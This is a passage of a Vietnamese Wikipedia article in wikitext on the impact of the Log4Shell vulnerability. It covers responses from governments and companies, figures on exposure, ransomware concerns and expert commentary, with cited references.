Trung tâm An ninh Mạng [[Canada]] (CCCS) đã kêu gọi các tổ chức nên có động thái khắc phục ngay lập tức.<ref>{{Cite web|date=12 December 2021|title=Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action|url=https://cyber.gc.ca/en/news/statement-minister-national-defence-apache-vulnerability|website=Government of Canada|language=en|access-date=12 December 2021|archive-date=20 December 2021|archive-url=https://web.archive.org/web/20211220032436/https://www.cyber.gc.ca/en/news/statement-minister-national-defence-apache-vulnerability|url-status=dead}}</ref> Cơ quan Thuế vụ Canada đã tạm ngừng dịch vụ trực tuyến sau khi nhận được tin báo về lỗ hổng, trong khi Chính phủ [[Québec|Quebec]] đóng gần 4.000 trang web với mục đích "phòng ngừa".<ref>{{Cite news|last=Cabrera|first=Holly|date=12 December 2021|title=Facing cybersecurity threats, Quebec shuts down government websites for evaluation|work=[[CBC News]]|url=https://www.cbc.ca/news/canada/montreal/quebec-cybersecurity-threat-government-website-1.6283133|access-date=12 December 2021}}</ref> Bộ Quốc phòng [[Bỉ]] đã phải vô hiệu hóa một phần hệ thống mạng sau khi trở thành mục tiêu của một vụ tấn công.<ref>{{Cite web|title=Hackers Exploit Log4j Flaw at Belgian Defense Ministry|first=Catherine|last=Stupp|date=21 December 2021|publisher=The Wall Street Journal|url=https://www.wsj.com/articles/hackers-exploit-log4j-flaw-at-belgian-defense-ministry-11640020439|archive-url=https://web.archive.org/web/20220207020204/https://www.wsj.com/articles/hackers-exploit-log4j-flaw-at-belgian-defense-ministry-11640020439|archive-date=7 February 2022|access-date=14 February 2022|url-status=bot: unknown}}</ref>

[[Bộ Công nghiệp và Công nghệ thông tin (Trung Quốc)|Bộ Công nghiệp và Công nghệ thông tin Trung Quốc]] đã tạm thời đình chỉ quan hệ đối tác tình báo an ninh mạng đối với [[Alibaba Cloud]] trong sáu tháng vì không thông báo trước với chính phủ về lỗ hổng.<ref>{{Cite web|title=Apache Log4j bug: China's industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first |date=22 December 2021|url=https://www.scmp.com/tech/big-tech/article/3160670/apache-log4j-bug-chinas-industry-ministry-pulls-support-alibaba-cloud}}</ref>

=== Doanh nghiệp ===
Nghiên cứu của [[Wiz (công ty)|Wiz]] và [[Ernst & Young|EY]]<ref name=":6" /> cho thấy 93% môi trường [[điện toán đám mây]] doanh nghiệp trên toàn thế giới có nguy cơ bị tấn công bằng Log4Shell. 7% các hệ thống bị ảnh hưởng đang kết nối trực tiếp với mạng [[Internet]] và có khả năng bị tấn công diện rộng. Theo nghiên cứu này, chỉ có trung bình 45% các hệ thống bị ảnh hưởng được cập nhật bản vá sau 10 ngày kể từ khi lỗ hổng được công bố (20 tháng 12 năm 2021). Dữ liệu đám mây của [[Amazon Web Services|Amazon]], [[Google]] và [[Microsoft]] cũng bị ảnh hưởng bởi Log4Shell.<ref name=":7" /> Microsoft đã yêu cầu người dùng [[Microsoft Windows|Windows]] và [[Microsoft Azure|Azure]] cảnh giác sau khi theo dõi các tin tặc (trong đó bao gồm tin tặc được nhà nước hậu thuẫn) dò tìm các thiết bị bị ảnh hưởng bởi lỗ hổng Log4Shell trong tháng 12 năm 2021.<ref>{{Cite web|last=Tung|first=Liam|title=Log4j flaw attack levels remain high, Microsoft warns|url=https://www.zdnet.com/article/log4j-flaw-attacks-are-causing-lots-of-problems-microsoft-warns/|access-date=2022-01-05|website=ZDNet|language=en}}</ref>

Công ty UKG, một trong những doanh nghiệp lớn nhất trong lĩnh vực [[quản trị nhân sự]] và lao động, đã trở thành mục tiêu của một vụ tấn công [[mã độc tống tiền]] nhắm đến các doanh nghiệp lớn.<ref name=":1" /><ref name=":3">{{Cite web|last=Bray|first=Hiawatha|date=15 December 2021|title=Emerging 'Log4j' software bug spawns worldwide worry over cyber attacks - The Boston Globe|url=https://www.bostonglobe.com/2021/12/15/business/emerging-log4j-software-bug-spawns-worldwide-worry-over-cyber-attacks/|access-date=2021-12-17|website=[[The Boston Globe]]|language=en-US}}</ref> UKG cho biết rằng tổ chức này không tìm thấy bằng chứng cho rằng vụ tấn công này sử dụng Log4Shell, nhưng nhà phân tích Allan Liska từ công ty an ninh mạng [[Record Future]] cho rằng có thể có mối liên hệ giữa vụ tấn công và lỗ hổng này.<ref name=":3"/>

Trong khi các doanh nghiệp lớn bắt đầu đưa ra các bản vá cho  Log4Shell, các doanh nghiệp nhỏ càng gặp phải nhiều rủi ro hơn khi các tin tặc bắt đầu chuyển hướng nhắm đến các mục tiêu dễ tấn công hơn.<ref name=":2" />

=== Mối lo ngại về quyền riêng tư ===
Một số thiết bị cá nhân được kết nối với mạng Internet, ví dụ như [[TV thông minh]] và [[camera an ninh]], cũng bị ảnh hưởng bởi lỗ hổng này. Một số các phần mềm được sử dụng trong các thiết bị này có thể không được cập nhật bản vá do nhà sản xuất không còn hỗ trợ nữa.<ref name=":7"/>

== Phân tích ==
Tính đến ngày 14 tháng 12 năm 2021, hơn 50% hệ thống mạng doanh nghiệp trên toàn thế giới đã bị tin tặc truy quét, và trong vòng 24 giờ đã có hơn 60 phiên bản khác nhau của lỗ hổng này được tung ra.<ref>{{Cite web|date=14 December 2021|title=Almost half of networks probed for Log4Shell weaknesses|url=https://www.computerweekly.com/news/252510939/Almost-half-of-networks-probed-for-Log4Shell-weaknesses|website=[[ComputerWeekly]]}}</ref> Công ty [[Check Point|Check Point Software Technologies]] đã mô tả tình hình lúc đó là "một đại dịch không gian mạng" trong một bài phân tích chi tiết và cho rằng nguy cơ thiệt hại tiềm ẩn là "không kể xiết".<ref>{{Cite web|date=13 December 2021|title=The numbers behind a cyber pandemic – detailed dive|url=https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/|website=[[Check Point]] Software}}</ref> Một số lời bình luận được đưa ra ban đầu đã phóng đại số lượng các thư viện bị ảnh hưởng, gây ra nhiều trường hợp báo cáo giả; trong đó, nổi bật nhất là trường hợp thư viện "log4j-api" bị cho là đã mắc lỗ hổng, trong khi nghiên cứu về sau đã chỉ ra rằng chỉ có thư viện chính "log4j-core" bị ảnh hưởng.<ref>{{Cite web|title=LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP.|url=https://issues.apache.org/jira/browse/LOG4J2-3201|access-date=14 December 2021|website=Apache's JIRA issue tracker}}</ref><ref>{{Cite web|last=Menashe|first=Shachar|date=13 December 2021|title=Log4Shell 0-Day Vulnerability: All You Need To Know|url=https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/|access-date=13 December 2021|website=JFrog Blog|language=en}}</ref>

Tạp chí [[Wired (tạp chí)|''Wired'']] đưa tin rằng mặc dù nhiều lỗ hổng bảo mật trước đây đã bị "cường điệu hóa", "lỗ hổng Log4j xứng đáng với sự cường điệu hóa này vì nhiều lý do".<ref name=":4"/> Tạp chí này giải thích rằng phạm vi ảnh hưởng lớn, độ khó trong việc phát hiện và sự dễ dàng sử dụng của Log4Shell đã tạo ra một "sự kết hợp của độ nguy hiểm, sự đơn giản và diện ảnh hưởng rộng, đủ để làm rúng động cộng đồng an ninh mạng".<ref name=":4"/> Wired cũng chỉ ra các "giai đoạn" của các tin tặc sử dụng Log4Shell; đầu tiên là các nhóm đào [[tiền kỹ thuật số]], sau đó là các nhóm [[buôn bán dữ liệu]] bán "chỗ đứng" cho [[tin tặc]], và cuối cùng là các tin tặc này sử dụng lỗ hổng thực hiện các hành vi tung [[mã độc tống tiền]], [[gián điệp]] và tiêu hủy dữ liệu.<ref name=":4"/>

Amit Yoran, [[Tổng giám đốc điều hành|CEO]] của [[Tenable]] và giám đốc sáng lập US-CERT (United States Computer Emergency Readiness Team) đã cho rằng "[Log4Shell] chắc chắn là lỗ hổng lớn nhất và nguy hiểm nhất từ trước đến nay". Ông chỉ ra rằng các vụ tấn công có tính chuyên nghiệp đã diễn ra rất nhanh sau khi lỗ hổng được công bố, và nói rằng "Chúng tôi đã phát hiện ra rằng lỗ hổng này được sử dụng cho việc tấn công bằng mã độc tống tiền, một lần nữa, điều này là một hồi chuông cảnh báo lớn... Chúng tôi cũng đã nhận được tin báo về việc tin tặc sử dụng Log4Shell để phá hủy hệ thống mà không đòi tiền chuộc; chúng tôi cho rằng hành vi này khá bất thường".<ref name=":4"/> Nhà nghiên cứu cấp cao của [[Sophos]] là Sean Gallagher nói rằng: "Thật lòng mà nói, mối đe dọa lớn nhất ở đây là một số người đã truy cập được vào hệ thống và giờ đang ngồi yên chờ thời, và kể cả nếu bạn khắc phục được vấn đề thì họ đã ở trong hệ thống rồi... Mối đe dọa này sẽ mãi trường tồn cùng với Internet."<ref name=":4"/>

Theo một tin báo từ ''[[Bloomberg News]]'', các nhà phát triển phần mềm tại Apache đã nhận phải sự chỉ trích gay gắt vì thất bại trong việc khắc phục lỗ hổng sau khi nhận được những lời cảnh báo tại một hội nghị an ninh mạng vào năm 2016 về những lỗ hổng trong nhiều phân loại phần mềm, trong đó có Log4j.<ref>{{cite news | url=https://www.bloomberg.com/news/articles/2021-12-13/how-apache-raced-to-fix-a-potentially-disastrous-software-flaw | title=Inside the Race to Fix a Potentially Disastrous Software Flaw | newspaper=Bloomberg.com | date=13 December 2021 }}</ref>

== Tham khảo ==
{{tham khảo|30em}}

[[Thể loại:Bảo mật máy tính]]
[[Thể loại:Virus (máy tính)]]
[[Thể loại:Phần mềm ác ý]]